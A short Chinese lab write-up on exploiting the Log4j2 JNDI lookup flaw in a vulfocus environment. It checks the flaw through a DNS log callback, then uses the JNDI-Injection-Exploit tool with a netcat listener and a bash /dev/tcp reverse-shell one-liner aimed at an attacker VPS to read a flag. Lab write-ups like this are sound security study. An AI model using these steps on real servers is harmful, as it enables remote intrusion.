参考链接
https://www.cnblogs.com/xuzhujack/p/15673703.html
https://blog.csdn.net/weixin_44309905/article/details/122316579
工具链接
https://github.com/welk1n/JNDI-Injection-Exploit/releases
https://www.jackson-t.ca/runtime-exec-payloads.html
此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。简单来说,就是在打印日志时,如果发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换,导致攻击者可以任意执行命令。详细漏洞披露可查看:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues 。由于线上 web 业务的任何数据都可能写入 Log4j,甚至一些 pre-auth 的地方,比如注册、登录,实际攻击入口取决于业务具体情况。
vulfocus开一个环境
参数为payload
burp抓个包
构造一下payload先dnslog回显一下。
此时dnslog没有新增
将payload进行url编码后发送
dnslog有回显
JNDI注入反弹shell
vps监听本地端口2222 nc -lvp 2222
执行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的弹shell命令" -A "vpsip"
命令为 bash -i >& /dev/tcp/vpsip/nc监听端口 0>&1
一般选没有jdk版本的那个来构造payload
发送数据包过后 vps上是有显示的
而nc监听也是成功拿到了shell
直接查看tmp目录下的flag
又绿了一个
log4j2 漏洞的请求头的触发点环境,请求头 X-Api-Version字段